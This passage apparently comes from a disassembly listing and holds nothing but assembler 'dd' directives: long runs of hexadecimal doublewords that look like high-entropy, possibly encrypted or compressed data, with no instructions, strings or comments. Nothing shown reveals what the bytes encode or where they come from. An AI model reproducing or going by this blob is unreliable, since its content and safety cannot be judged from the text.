90E4FE6Eh dd 6EBFC088h, 4412D76h, 6A937264h, 2AC145C7h, 97DD3B0Dh dd 0E152049Ah, 7B4CC383h, 0B855BE27h, 0F7076F1Eh, 0C62E7F4Bh dd 0F02E5F53h, 34A760EAh, 4AA8FF5Bh, 0CDEC6C89h, 0E5AA69E1h dd 0E971164Fh, 9CC34691h, 0F28C0E8Eh, 8EC463BFh, 0BF4C2D28h dd 0E75D2016h, 65CD4CEEh, 0AAC13030h, 95E7C081h, 0AC359049h dd 0B0C7607h, 0E560CFF4h, 340CAD4Eh, 0A89A178Eh, 2A23E8A6h dd 5DFEA911h, 5380BF76h, 0ADB315h, 0F1A993E6h, 0C9B99574h dd 0C3CB0A97h, 0BA1E6172h, 0F08A918Bh, 0B48C5768h, 54D76957h dd 75B7C23Ch, 1696B4AFh, 0AC7DDC6h, 1DD40F23h, 0EF29D8B6h dd 0DA133666h, 0C5D16666h, 4B5B2175h, 615DF599h, 8ED5B1E8h dd 848C450Eh, 31DF01EFh, 8D5FFAAFh, 6552381h, 0C0A0D594h dd 0F418A7E1h, 74EC713Eh, 529F5855h, 48FBA4D6h, 0A6FB0F1h dd 176A5706h, 0DF9EAE5Dh, 0B37232D1h, 0AEA32C9Ah, 0DA86D6CBh dd 0B6CCCC59h, 2B79413Ch, 0FF5FC410h, 605C426Bh, 5CBE50F1h dd 4EF06E9Eh, 0AF6C1E45h, 85968239h, 50AA8AA6h, 0C599B7BCh dd 2DA26888h, 0D874A5CFh, 0D8A0FFF8h, 0F261B8F8h, 0A3D0F273h dd 4D5F4475h, 0A10B03E7h, 8173E491h, 2CC46F56h, 0D241783Dh dd 803E1982h, 0D8524094h, 205BC041h, 0FEB95385h, 4CDDC2A2h dd 97D1F601h, 0A229BAB0h, 0BBA19013h, 790C0F2Eh, 5EA52E87h dd 0A779E16Dh, 0F3B8C4BEh, 7926725Fh, 0A9D12901h, 8E2FD605h dd 3302142Fh, 5B014CE8h, 0C037482Dh, 0D345C305h, 0D4708463h dd 0AEB9E97Fh, 38501141h dd 9D73C0DAh, 0EB3EED50h, 0C0C27D77h, 5F549914h, 86114A01h dd 0CF686740h, 0EF186877h, 852174A9h, 0EEC29E96h, 2D58C3A0h dd 2F5ED190h, 3E23D920h, 0A0A3604Dh, 93393233h, 0B2EB6F8Dh dd 0E8F678F0h, 76F11368h, 0EA857962h, 0C9141063h, 0F16E0376h dd 6EF7D45Dh, 0F447E2E2h, 0E8E1684Bh, 8F9DAA87h, 5CDFFBACh dd 0E8AC6EAh, 714E923h, 1BA4D4B6h, 26C1A52Dh, 780BDFFBh dd 221862D3h, 160E3914h, 430FED71h, 0A8B7999Eh, 53BBB079h dd 62E22FBFh, 818FDBEDh, 0DCB44AF6h, 82B0F495h, 6CFF20E9h dd 668B8FA3h, 1FA4DF14h, 0D4336734h, 1ACFF4C1h, 0C587BB23h dd 0E5E99B5Eh, 3D9FB3CFh, 34A82667h, 1D58B1CBh, 412291Fh dd 0F9C074E2h, 0CD0F62BFh, 33D1F35Bh, 4E5B5540h, 92A2ECB4h dd 53E1C08Ch, 0E003163Fh, 0F7CA38E7h, 4AD29A8Ah, 66E0818Fh dd 5DFD189Eh, 68765BC3h, 62009A33h, 99CBB994h, 0A1AD4C96h dd 0F2A1BC7Fh, 9EA7BB6Bh, 7F75CC79h, 0E81A415Bh, 0C6380602h dd 4C85295Fh, 7A7A1CECh, 89C9A368h, 0A3077548h, 0ABC64CD5h dd 5890A13Dh, 3E86A141h, 0F0596D82h, 61ECD5F3h, 7C3EB35Dh dd 733BB821h, 0B26167Dh, 33C99A5Ch, 8DA8FE82h, 54D38980h dd 0EA701810h, 8E273346h, 23FBAE37h, 0B57461FEh, 882E2674h dd 6F7B1008h, 4F540DB1h, 0E3D02F38h, 0D597C182h, 8C5A1323h dd 0D83CCA46h, 0C94FEC01h, 1DA445E5h, 0C4C79F4Ch, 22C2109Dh dd 40D8CF15h, 2B2E0174h, 23A6CE54h, 2004735Ah, 7ECE083Eh dd 8BBDF99Ah, 669379EBh, 3B282D15h, 763FB63Ah, 3DB45A7Dh dd 6C1DA1Eh, 0D14B9949h, 45FB3B32h, 0F1009225h, 1125E57Dh dd 0C032DC9Bh, 0B37C3F6Ah, 44E5FA1Fh, 13A2DD47h, 0BDEE9D7Bh dd 0B499571Ah, 78CA0B33h, 6C264AB4h, 0D87F9155h, 58444BD7h dd 237373C4h, 0BBD64BF3h, 0B80FF0EEh, 0B0747D5Fh, 737B59FBh dd 0D8EF26B2h, 0F7F66228h, 0FA4AB013h, 238A102Eh, 88BA3710h dd 257667Ah, 827E400Bh, 9A10EF12h, 0DDB5DDDDh, 0AB7721ECh dd 12C7183Ch, 30199B44h, 4F5E41DCh, 8790E700h, 761C8408h dd 0AFCE0712h, 6CD96CF6h, 0EE372B4Bh, 0FE510E3Ch, 73FD93E6h dd 0EA8019D4h, 824964ECh, 0C9EC1AC7h, 84360E45h, 34D54427h dd 0A7941BE2h, 29FDD6A9h, 784CD78Dh, 29D002Ah, 612C0928h dd 910D2ADFh, 3C7FD85Bh, 0C303B0DCh, 75B31A76h, 0E56294C2h dd 722FB3Ch, 0E3F169BBh, 0BB1CF5F5h, 7F61FD50h, 0F4392DC1h dd 6647E5B1h, 0D7AEF1DDh, 8855BDE9h, 114B2702h, 7B4CB554h dd 94062F5Dh, 0D8B767FEh, 557FD04Dh, 0FF4EEF2Ah, 2F07CC92h dd 46F6F73Dh, 7AE8C23h, 0EFD0FC5Dh, 62C2B38Ch, 0DD86E351h dd 2F049402h, 0AA3834F4h, 75CEDEE9h, 0A5EDEB14h, 1E5EAAB5h dd 7998B327h, 0CDB88EF4h, 7FFEE251h, 39FED62Eh, 58BCFC87h dd 191E8492h, 4B4CB743h, 0E1D9F3CEh, 822AB9BBh, 86FB2D46h dd 7586EC7Dh, 6450B495h, 52CBB7F9h, 0DF9CE427h, 0CD815019h dd 3139E75Fh, 480A42F9h, 9F462087h, 219D6BF9h, 674F00E2h dd 0E590A4B0h, 3C09B234h, 994364CAh, 20EC2DDAh, 0E091F413h dd 5EB467A9h, 13204998h, 0CE888C02h, 0A0505601h, 0CE0C5BA1h dd 0B8231E86h, 30B3F449h, 1FFC4B51h, 898F525h, 66057310h dd 0BC046BAh, 0E9FD9030h, 9A16BD2Ch, 0E537388Dh, 3FFC3FD0h dd 0C9D79709h, 2651DB38h, 0E7F1C82Ah, 0C052B7BBh, 315B502Fh dd 64941E9Dh, 3BE8BC7h, 8B05F363h, 0E082EA8Ch, 812103D4h dd 59F3488Bh, 9EA8FF64h, 66DB47A8h, 693FA9B1h, 9CEE934h dd 2B5930DFh, 0A207B202h, 7629A05Dh, 0ECEFF74Dh, 0CF57FF7Dh dd 4C7B0BDh, 3A00DF15h, 0D981229h, 0BAA8D88h, 91CF0A6Ch dd 0F3782201h, 0EA95E25Bh, 3BBA1BCDh, 7E27A010h, 0DAE67EE9h dd 0C4D5E9E3h, 0F7B9E685h, 7251DE7Ch, 0EC06DE88h, 0B881C0F9h dd 378A87C1h, 0E349A468h, 69C50AF5h, 1E904368h, 3C3F11CBh dd 0C43A9245h, 34C075ECh, 69834435h, 11806A43h, 0AB82618Ah dd 1F9FA8AEh, 3931856Bh, 0A7B66A45h, 470D669Bh, 0CB00D0F4h dd 0CB5BB681h, 783D0E9Bh, 58941634h, 0D1FE43E4h, 5E1178C0h dd 1B8B0993h, 2E79DF92h, 13C45B8Ch, 2C151425h, 0C342B6C9h dd 76A528B0h, 0F09A41A1h, 771AC853h, 0DED7F40Bh, 0C5F8D666h dd 2859BDBDh, 67D2F55Bh, 57AC72C4h, 1986DB32h, 8F9AF78Fh dd 4AD0AD1Dh, 81ED0A8Dh, 428D0DCBh, 296B3830h, 62C395C3h dd 0C5676C52h, 0BD54D179h, 7001B1EAh, 0E274A996h, 0C88896D8h dd 146621FEh, 14EC309Fh, 0F125DBDDh, 57A890E4h, 3D02B36Dh dd 6842C3E3h, 5E131DBCh, 0F2583C79h, 11739D4Eh, 27C5DBA2h dd 0C6E408CBh, 3FD75B07h, 7EC5E990h, 3C75EC80h, 66D1FBBBh dd 5FA124Bh, 26BFF8B6h, 9CDA4023h, 0C5BA5824h, 0CAC333EEh dd 0B7F655EDh, 3BB8E317h, 0BA95E2E2h, 6732D72Bh, 0BB0C7BE2h dd 0E5E92125h, 0F6F445BFh, 709E666Ch, 0F384B737h, 11EAEA5h dd 43E8B0C9h, 4208BBEBh, 0D3ACC69Fh, 2F153690h, 0FBD13ED0h dd 0D3522010h, 0FEFF2F56h, 0C5B22EA5h, 429F287Ch, 534DA38Eh dd 57EA5EA1h, 58CEF675h, 0F720AB89h, 180E071Bh, 0D78C90DDh dd 29A57EAFh, 0CBAFF034h, 0A04C75C6h, 71537332h, 2C468920h dd 802B56BBh, 0CB2D7802h, 0A9183648h, 0AF4AB2A3h, 0E91EFE8Eh dd 2EA3DCDEh, 12F9E9DBh, 0F8DAD6E2h, 0C4605746h, 82553774h dd 0B4E94F20h, 0FE740C23h, 338EF2D3h, 989C3B63h, 77E460DBh dd 7C8747DFh, 4E168F75h, 0DE7960C8h, 43ABF11h, 0BAC829h dd 5CABC327h, 56CC5887h, 0BFF45FDDh, 0BFE3CCF6h, 0D315A0A1h dd 1DE4CFA4h, 34849CB4h, 0DFE60526h, 18F27825h, 9289BFCh dd 48CC48Bh, 276BB081h, 0F3AB2430h, 0A6357CC4h, 99741E2Fh dd 7424D5D8h, 3086A60Bh, 5C444DE4h, 0A783612Dh, 41C6D909h dd 525B4102h, 3C98EF91h, 58000C2Eh, 0C28B16D8h, 48A099BBh dd 0E888E05Dh, 97759CF3h, 0CCF19D0Fh, 3EB411ADh, 7F9AFB43h dd 2B44116h, 253229B9h, 0BF615F82h, 0CE026203h, 75B2ED84h dd 573DEA39h, 0D4F64F9Ah, 19817732h, 9C036B01h, 0F5007233h dd 8D4E5754h, 0D637ACB0h, 4DAC3FE0h, 68AF7CE5h, 196BDC34h dd 0C3FEBB9Eh, 1DAAE345h, 0DB58106Bh, 6E7AD7E8h, 3898F160h dd 4E09D815h, 5F8D7ED8h, 464DFB58h, 0FB32F0AEh, 0F42AF76Fh dd 0FE78DDC6h, 0E66F71FDh, 0BD484D3Ch, 0FBE6EC98h, 7DA31E96h dd 6C0153FCh, 9ACC1439h, 662A7BB3h, 9D02135Dh, 0EF6EB218h dd 0DBDA3312h, 78B37B55h, 0AC1ED1A9h, 70EA901Eh, 0CD1B72A1h dd 0B18CDB26h, 943DC449h, 0D34862CEh, 0CCDD53CFh, 0BC62F340h dd 7F621A45h, 1B8CB8E1h, 0CC5A6D6Dh, 730E0AB3h, 22D0B6F2h dd 0FBE86414h, 6D1BB1D6h, 1242A3CFh, 0A9C8B398h, 0F23C5C38h dd 29E4F817h, 74474B64h, 0EA64ED74h, 0A0521846h, 766493D8h dd 0D12A4A8Eh, 8D2CC9EEh, 1C7DA6DCh, 0E55491BCh, 48CE68E9h dd 967BA4E1h, 0B72E7CB5h, 0A5D8D35Bh, 0A22DC922h, 0DE79CFC6h dd 4BA28A5Dh, 9D1F68C8h, 55E543EFh, 0EE85CE0h, 0CABF1C11h dd 0A8B9FB7Eh, 0B25FDAD8h, 832AE74h, 2880AD9Fh, 0C619952Ch dd 78B79387h, 28E92431h, 8B383650h, 8DE303C5h, 0A8939B7Bh dd 0CF7C6012h, 980F306Fh, 638CA4CAh, 0FED19A76h, 91139B36h dd 6ADDE083h, 808C2248h, 4CB3BD53h, 7B5966E0h, 0CBCDF96h dd 74466AF3h, 3A2D985Ah, 0A363F423h, 81C047EEh, 0EBB93F3Dh dd 7236DE63h, 0E0B43DEFh dd 2C55D5C3h, 2FFC4A7Fh, 1BEE8CA2h, 0CAC3FD87h, 0D473DF5Fh dd 8CAEDEF2h, 0D10C5CDCh, 0B14971B4h, 53D523C1h, 9B871DA6h dd 9444B10Bh, 1D71A6B6h, 617DC523h, 759E19CEh, 475B8AF1h dd 0D202D9F7h, 20F4677Bh, 18B0672Dh, 7557355Bh, 0BC4B4AB8h dd 824070DCh, 0CDE7819Eh, 0D188F7FEh, 39C5F9D3h, 8AC2CF9Ah dd 0C6566BE7h, 362BB0C0h, 29C5EF83h, 2C4314FFh, 581F837h dd 68FCC1D6h, 12A555DFh, 0B6FBC165h, 0C10CDF33h, 4559CFD1h dd 83B65B92h, 0FDA703CEh, 59C06381h, 4FDF0F54h, 7FCF3A34h dd 324C327Ah, 3C995C93h, 9D1194B0h, 218FBFEh, 299C35AFh dd 14DF628Ch, 22310AA8h, 0AE0984E1h, 8B0323F7h, 97536D4Fh dd 38F9F99Dh, 0D809AC06h, 80EADC8Fh, 0F945580Dh, 2336A3CBh dd 0D328675Fh, 708F44E1h, 0C57DE53Bh, 0D706B7D7h, 3D6D443Ch dd 0CA673BDh, 292C9FACh, 0B7DAE3C6h, 0DC7574ABh, 834E8B80h dd 3883B51Ch, 0F4847A34h, 2FC757A7h, 0B14B4F22h, 8E554C43h dd 0B8B81D03h, 0F1EBD3ACh, 0DC2C72B6h, 0A6786A5h, 0F6CDF803h dd 77C40F46h, 0FFB0478Bh, 17D6FBA1h, 6C0F4FEh, 9666A304h dd 3A4855EFh, 0A448889Bh, 0F345F061h, 0E222BF50h, 2BE1DCB2h dd 0B09BA793h, 0CA1E281Fh, 0A8428ABh, 0CFE98DFDh, 41391157h dd 0A63D0E06h, 3CD23EC6h, 0E282DF21h, 4188883Dh, 6DFAC050h dd 416F8C43h, 0AC3339F5h, 0DFDCA8E8h, 9E81A4CEh, 409E5FEEh dd 0AADE1071h, 0B15EC606h, 5D954F22h, 48F33A3h, 3D779727h dd 71551781h, 4119C9AFh, 0CB1B1E4Eh, 95785B9h, 8494EF4Ch dd 0C419AC5Ch, 1509E9FEh, 0FD1EC621h, 0FEF481B2h, 0E901DAh dd 851BA3A2h, 9E8E7DF1h, 0DCAD8F14h, 0B86FB154h, 8BD3CA7Eh dd 9482211Ah, 0C925879Eh, 0C31C737h, 1FFBAA2Ch, 7895F5CCh dd 3E6C553Dh, 9BB39F1Eh, 0CF51FE79h, 0A6EAB4ADh, 308BF564h dd 0A32308A2h, 0B23AFC7Bh, 17FBD014h, 3FCD7CC7h, 36C94634h dd 935537Eh, 863002F6h, 0D84582AFh, 29437D71h, 48C4B1ECh dd 95A2EE78h, 0ED1B23C6h, 53653F9Ah, 0F703F0F3h, 260201Bh dd 74CCC630h, 2B20E3F7h, 9F02F33Fh, 1A8F9D57h, 0B46E2182h dd 48BA71F3h, 70722744h, 7F404D44h, 0EF4C2142h, 672E7BA4h dd 0DED5E72Eh, 0A51F5384h, 0CA6F1CF9h, 0E446DB85h, 761765B0h dd 0C15B6146h, 333C78F0h, 28A5761Fh, 14799E5Eh, 0D495D7Bh dd 0FA42E9E0h, 1858A7C4h, 6521C530h, 0ACD57320h, 6ABE8DDh dd 0D3AD170Ch, 93D7C915h, 767CF614h, 10DEB6A0h, 9652F58Dh dd 0E730760Ah, 32A2192Eh, 84789A75h, 4450C70Eh, 0AC2CEF2Dh dd 1361A9C9h, 652307E3h, 0F0155142h, 0FD7B82B5h, 0DE58AE4Dh dd 0EA9AAC29h, 283D2DCAh, 0CE670B93h, 902C8DECh, 2259FFFEh dd 1765A548h, 2B08A1h, 9F81635Bh, 85E071D1h, 0C17BCFE5h dd 1F0A794Dh, 10B9F60Ah, 15363119h, 31D0C09h, 88A83218h dd 9D9A7FFCh, 911FF8B7h, 4EDB5798h, 679F43BDh, 0B3FCA323h dd 648CEC76h, 91A92BA0h, 0BFE9D5D8h, 8F2DF932h, 0DFF0082Dh dd 3F378A9Fh, 0CA57B065h, 1B53D777h, 4CCBF30Bh, 0A0C714CEh dd 0A0597E94h, 0EE1126F5h, 0A31FF7B1h, 8B14CE60h, 0F4B10CF6h dd 0C5B5EECFh, 0D2E8BF4Fh, 0EE8E81C1h, 0C135A933h, 3CCF9F52h dd 55F6CC62h, 810CFC23h, 580C7B57h, 50312B2Dh, 81504F4Bh dd 7277D1C9h, 0DAABD0DDh, 0D385EDA3h, 212590B9h, 40158998h dd 6D36E8F2h, 0F106540h, 0A7703F7Fh, 3ED09596h, 0D0303585h dd 7A6DB30Ch, 0EAA44AE6h, 122A297Eh, 0ED75DABh, 52B9C8BFh dd 0ECED810h, 0F3D00845h, 6CAEBE9h, 152C4EA1h, 2BF5B71Dh dd 14842F6h, 0C5E9DAE0h, 5C822BDh, 0FB1DC6EBh, 39FE2E33h dd 8F1D0D06h, 9E0DAA2Ah, 2789619Fh, 5CBC5585h, 0EF5EA36h dd 86E221F6h, 6976AB81h, 7815F5A3h, 301D8FDAh, 196D56C4h dd 51F385D3h, 0B83B96C8h, 4461195Ch, 9950C3E9h, 60ED723Dh dd 5190239Ah, 0C2AE9AC1h, 4B603892h, 0D04D1B9h, 6EDD5416h dd 0E98E866Ch, 6B0D85h, 5B56D7B5h, 9C2BD4B1h, 0E0100A5Eh dd 15C4810Bh, 0EA19D710h, 36FB3F06h, 0FDB27A4Eh, 0D16D9708h dd 691051B3h, 98CE2E3Ah, 1FDCCBAEh, 14B9AD0Eh, 6BF93556h dd 9FD62EE6h, 0C3DFD6FAh, 5A7B21D7h, 9CFAF022h, 5F9500B4h dd 0B90C2263h, 22BC75Ch, 764F798Bh, 50D43C5h, 9FF818C4h dd 0BACB9392h, 14C23E05h, 29BDEB17h, 0DF671E54h, 2729F23Bh dd 1E96213Bh, 9E3661FCh, 0B46B5681h, 178AD075h, 0D5EF680Bh dd 0E646DEF9h, 9ED54308h, 6B595106h, 25EDCA26h, 0E6D865F0h dd 5FE5D252h, 57947579h, 1E2B9DF1h, 0BE34CC9Fh, 0D9AD137Ch dd 0B24A8945h, 588EF551h, 7D0B5F20h, 0A83A7545h, 7009E486h dd 9331D02Eh, 56AFD0B7h, 28678B72h, 0A42864C6h, 0CE19D99Eh dd 85A9954Fh, 46FFC698h, 0A49CD51Fh, 0A22FF1FEh, 0B0CA7F86h dd 50CF048Bh, 0F4CDA7A5h, 53F64FC1h, 86B65987h, 6618C338h dd 5BDF816h, 8D2425FCh, 0EEC6B06Dh, 5ACBCC9Ch, 0F0503A50h dd 0E20D9100h, 0EB2801FFh, 0EC919A57h, 8E4866AEh, 806C6276h dd 0DB4B5A50h, 0C0E994BCh, 6507033Bh, 5593B0F2h, 82A876Bh dd 4C66CA7Bh, 0DC1C364Bh, 937DF632h, 48AAA527h, 6A539836h dd 0BC9E1896h, 3EA3ACBh, 6AC017F8h, 82CCAB70h, 0B4A9731Ah dd 0D33CCD03h, 5E908F58h, 968CA4DFh, 19209ACDh, 81A80F28h dd 0FA028B1Ah, 0FA28202Ah, 5A6FA01Ah, 4D5A1398h, 82CE890Eh dd 4C861A9Ah, 0A06E5730h, 0F04E52BAh, 0E204427Bh, 0FD1FB450h dd 6F77FA89h, 532C1636h, 0DFFC30DDh, 0BCF9E74Dh, 4E80AB75h dd 7370ED80h, 0FC030BE1h, 3E7F988Ah, 67C7B10Ch, 6F6AA6F5h dd 0DCEE5D3Dh, 0D90EF1F5h, 7751604Eh, 2F1F0401h, 0EE2318B3h dd 7CAEBA0Eh, 7710819h, 0B2AEEB54h, 4967AAAFh, 39117569h dd 0FF50A4D9h, 35ED35D3h, 48F36D9Eh, 403B73C4h, 38EDB1FCh dd 967CF514h, 0FCB53621h, 446A1843h, 297E8CE6h, 63F443E3h dd 59E5030Ch, 9FAC659Dh, 0BA9CA7E0h, 5FF079B2h, 30B45B53h dd 3E677E7h, 0D0DD2E3Fh, 2371961Bh, 240A8232h, 6ED02756h dd 0BEF98E94h, 0F8B380A6h, 0C64E3F44h, 63268136h, 435EEDCFh dd 0ADE0EDE5h, 0A3DB2EBBh, 0C8951AA4h, 78240880h, 408F4A26h dd 3CDAAB5Ch, 0AC62DB9h, 0A0B33A60h, 2DCE7E74h, 643EDF9Ch dd 2CCE429Ah, 0CD479014h, 6EA4C6B2h, 7B574DDFh, 5EE6AACAh dd 2B48D21Fh, 0BD988DBCh, 0E25936A1h, 0E958B611h, 5EF79EAh dd 162E663Fh, 62B1532Fh, 0F87AFD7Ah, 4D89C8FFh, 8135708Dh dd 0DB2E277Eh, 0EE19F137h, 4AD06A24h, 3CE38067h, 46046BDh dd 0A5A84A52h, 916959B7h, 29C5C3B5h, 0B9F7DA0Ch, 8A161C9h dd 4AA4F188h, 2CD81456h, 0B706A968h, 0EE06AB04h, 569F6983h dd 4AE0F6E8h, 40F2872Dh, 0C33D953Fh, 8D3D00F4h, 8D1C48EBh dd 9D45EDC1h, 0E6301421h, 12DDDC06h, 246D8EE5h, 0EC5F386Ch dd 0B1454F24h, 0A7F01D4Ch, 796A99CCh, 60E5EF37h, 4CE70324h dd 3D1CF621h, 0A64498CFh, 127A3F6Ch, 3224D2BDh, 0B14992EFh dd 112EFE6Eh, 2C8E0A40h, 0A07DF58Ah, 1D840A3Eh, 2DA06BCFh dd 0E4930C9Ch, 5DDCE2FEh, 1DF2C2EBh, 0FC41B878h, 85B745AFh dd 0A10F9C84h, 0F94C4446h, 42CAF008h, 2C414128h, 8C81202Dh dd 0D1FD08Fh, 802FC4B8h, 0DAF6158Fh, 7CEBB069h, 68B58D05h dd 0BA2C260Fh, 0CF8072DEh, 0B3AEB583h, 0E87BAF94h, 52C8F046h dd 871E9BAEh, 0B70E8816h dd 8BBCFAA9h, 7A4DFDD2h, 0BDF757FCh, 0B9881859h, 92B2E3DFh dd 0E5A3A3FBh, 0A7883842h, 0B478783Eh, 553A6F4Eh, 17CD21A6h dd 0B0401CCh, 5C923EA9h, 73F1AAB5h, 0B74F8386h, 1661EBDBh dd 0AABBE0C6h, 9B71881h, 57071041h, 0E7D82BBFh, 0D93090B5h dd 44E54C20h, 0EAF390F1h, 0B1C42EC5h, 0D9FE391Dh, 0FA824C31h dd 0BF1209F2h, 59C74BC6h, 0A6782DD3h, 0F59672B4h, 27D44EB0h dd 5CC914FEh, 0A9EB3EE4h, 0D87D088Ah, 809012E3h, 9A5F0C54h dd 0A771FEBh, 2BACCB14h, 3AFBEAE9h, 9DC81E3Ah, 3A66D537h dd 0AB1E5B7Ch, 0F477E7DAh, 64A185C5h, 0CA79A0D9h, 736454BAh dd 9F70EA25h, 601EE363h, 0D38F3760h, 139F3FEAh, 0F3CB5B9Dh dd 55E156C0h, 0D56EB52Ch, 7CDD37A6h, 46526D0h, 0F93A3445h dd 0C96E2E34h, 73C9A199h, 832A95Fh, 429384F7h, 8AC889F5h dd 6B259BDFh, 3A222817h, 7DEA37A6h, 3C2D0E7Eh, 0C73E733Fh dd 73E7ED6Bh, 7E74CE41h, 3AC61720h, 0F5879A61h, 80193A11h dd 0DE56B8B2h, 7E9FFD6Ah, 0A875C481h, 0F9A90F60h, 89D1CAF8h dd 0F54199BDh, 1C89AFC3h, 6E01B420h, 113E9F38h, 66D57EA3h dd 257FB15h, 1185100Ah, 807725E1h, 0B0E70786h, 0C55CBD9Fh dd 0C320EC88h, 215B5444h, 0F98C149Bh, 6E455D63h, 8C9215DEh dd 51C59AC9h, 14BA8972h, 9C0D96EDh, 0E8A1BAA1h, 2E5F4CCh dd 8866A30Ch, 63064094h, 4EBA926Eh, 63668A6Eh, 84D1DF81h dd 0FA5621C3h, 60E0842Ah, 47B9F63Ah, 4F153DA5h, 51F7AF98h dd 0D92EC0F0h, 4C9C2B31h, 9DD2CFB2h, 0A7388A4Ah, 51C204CFh dd 1632443Fh, 35F6BC2Bh, 37970A2h, 823A7B35h, 0CBE06A66h dd 45E8DB4Dh, 7DD63C7Bh, 28337D35h, 0C1DB3A93h, 52AD3DF5h dd 6148158Ch, 5C93FD3Eh, 0BED86F47h, 492772C5h, 0CCD98164h dd 264C35F2h, 0F7BBC0F4h, 7CCBAD0Ah, 1304ADBFh, 2D91E5Ch dd 0BDD788B6h, 2CBF299Ch, 10B4834h, 0C94596CDh, 40C48DC0h dd 91466C38h, 0DD812145h, 7D366606h, 0C5E37F3h, 77975B88h dd 9CED6B89h, 516612F6h, 0A063A43Bh, 0A02FA4E2h, 0AD22B74Ch dd 326F1285h, 7F742008h, 115164CCh, 6712DEFFh, 0EAD5210Ch dd 0D0BDD5ECh, 0CCD27301h, 23719D68h, 0A54745FEh, 0FAAA56BBh dd 0D766D4DFh, 0E5342EA7h, 18AD3718h, 3C61D032h, 7E27C802h dd 392D1A2h, 607B47CEh, 910CDBA3h, 692BE583h, 9FCC5D88h dd 0FBC92607h, 0B2C8122h, 0D94D541Ch, 8D7847EEh, 0BF402CF3h dd 52126CF1h, 0A71CE37Bh, 8F1A2E8h, 0B7A0CBC7h, 0D9294371h dd 0D53D87E4h, 0CD9B5D8Bh, 22F8204Ah, 80C6E60Ah, 2706759Bh dd 0F564F7B3h, 408E1A56h, 5B1D32DEh, 0EF78C5CDh, 0F54D1208h dd 0DF3E4796h, 87E484Fh, 8BAD30A6h, 2169BCF4h, 873986D4h dd 8C34517Eh, 50D06B99h, 0FAF18C77h, 9FBAA67Ch, 8B2CACE5h dd 0E2C71372h, 76A9C06Bh, 0A548FEAFh, 0D6331AEh, 1869F5Fh dd 7C89D125h, 161EB75Dh, 0CC26FBF8h, 18AA1353h, 0D348070Ch dd 0F02BB5BDh, 444A0A5h, 0E79917B0h, 229E462h, 1FB366D7h dd 52B74422h, 0FE7E1026h, 0D0111766h, 4ADCCCEAh, 0D2832AD5h dd 1149E252h, 2895E57Ch, 0F191C1CFh, 11627C4Eh, 5DA20CA0h dd 56E0D1BDh, 0E958A63Dh, 0C452076Fh, 98E6896Ah, 32247EECh dd 0D6A20040h, 0F308589Ah, 0A907415h, 8D9E0574h, 0DD63D8CAh dd 0F0423B87h, 0E9529536h, 67D3C7AAh, 4088F8E8h, 0C16FDD6Ah dd 81DCC7C4h, 89E0DCE1h, 7B87C3A3h, 6CD92EDDh, 3A4E98E9h dd 0E022CD97h, 0CF7B1D6Ch, 9D510729h, 0F30A82C9h, 41C4A139h dd 137705EFh, 0AD7BA263h, 2541FA1Ch, 0F8AE4602h, 8212B7F2h dd 7E264BB9h, 6F383654h, 3945867Bh, 0C0F53A8Ah, 63B09265h dd 0C325B3C1h, 3CBFA3FBh, 6F78673Ah, 0B9EA2946h, 534A8E5h dd 0C1FE513Fh, 4A474C13h, 0D03EA272h, 0BA5F4934h, 230EFBA9h dd 0AB9B20B2h, 2DBB5BF4h, 6CB44742h, 0A7C2A2A2h, 435C7C97h dd 2764F12Dh, 140145E4h, 2BCD29B2h, 5033C0A4h, 0D3A0E415h dd 59EB5523h, 0C2DACBE7h, 0F7C30F77h, 0DFE96559h, 21F5F516h dd 539C2745h, 0FB3CF61Bh, 0D9135429h, 0ADD505CCh, 0BC9A538Bh dd 562C654Eh, 0D6D1B7F3h, 2A0BC949h, 0B7943E08h, 6D803C93h dd 8739D491h, 0BD38AB45h, 0F1D31D37h, 80ACB8F7h, 0EE5F544Bh dd 108DBDAEh, 0C4991A83h, 0D7A1B467h, 91137C7Ah, 0C883A26Eh dd 0EE442B5Dh, 412CB70h, 0DF96BDC7h, 34AA5667h, 85403C93h dd 8C29F56Eh, 90A10FB4h, 0EA26BDBCh, 0E07A71E6h, 0DD67EB0Dh dd 96DB3864h, 0A64667BDh, 0C33AC3A2h, 0EBCDF60Ah, 8706B402h dd 5D2DC79h, 56277571h, 96847F17h, 0EFC334F2h, 2CBE1A8Eh dd 0A7A27A13h, 0BE9073CBh, 0E20C3835h, 4A053457h, 0BA0EE12Ah dd 27514DE7h, 7B9F0B71h, 7536CC26h, 0B9176C9Dh, 0EE79ACECh dd 6E9C0391h, 4CC0CCF0h, 2BB8D32Fh, 0F2845004h, 592C3365h dd 55775052h, 710908A8h, 4509C012h, 0B2B324ABh, 0C461D61Ch dd 5DF021A5h, 0F448156h, 0CEDBCC81h, 5D83A697h, 0A0BD7D14h dd 0BB76D41h, 0A764F198h, 0E313FB5Ch, 0BEDFF6B3h, 0AEEA4128h dd 0F8804168h, 0C6494AC7h, 30C747FDh, 0DE0C9AFFh, 0C164BE90h dd 0DAB8E4F2h, 4D3807ACh, 0E69112C3h, 9E9D78C4h, 0E0E4D12Eh dd 17A1B276h, 659C4311h, 7607F5D3h, 81CB5C3Fh, 0A2E7BECFh dd 28062D5Bh, 0F54E7519h, 0EAFBAEFFh, 4EBA6888h, 3A6A9DEh dd 0E93B2FBAh, 931C22E5h, 0CA63DC37h, 0A017BB29h, 0FD82829Bh dd 7D3B7FB8h, 0F9A84537h, 5266C1BDh, 14090CD0h, 58B2AA9Ah dd 0E44E2843h, 7B7CA9D1h, 0E4012DB0h, 5FB747C4h, 3B75B69Ch dd 413A5C8Eh, 7A2FBA15h, 0ED82F0BEh, 381E5B49h, 54B9C995h dd 3472D52Eh, 38E72C55h, 0F4814CF9h, 31B3AEA3h, 0A13E7457h dd 6AC89B3Ah, 598C0A35h, 35050FBAh, 3BBFAD79h, 136184ADh dd 6719C645h, 7FA9EB7Dh, 8058E9E8h, 0DA5467B8h, 630492D6h dd 4B9BA096h, 0F96C9F46h, 5D70EA25h, 0B33E0925h, 3624F506h dd 0AE7DB391h, 0F8AAFC35h, 85D0794Ah, 0C7AD6A97h, 24EC4EB0h dd 89FDFF2Ch, 6449DA89h, 0C09C451Fh, 0F3D5248Ch, 0A5CF1912h dd 34E4FABBh, 0D38F5D66h, 375B0160h, 0D0A07A4Bh, 1F6B9D3Eh dd 54ED8EA3h, 5BC802BCh, 5493809Fh, 39873602h, 0F68F7E47h dd 987E91Ah, 0F6F00B72h, 0BDB3FB85h, 6B1C488Bh, 5767EFB0h dd 6A6D2B62h, 0BF7193Fh, 8375ACDEh, 924C501Fh, 7B972380h dd 0BA611F81h, 0F343C5C4h, 0F2648A44h, 3C323BE2h, 31012BD3h dd 1D31CD18h, 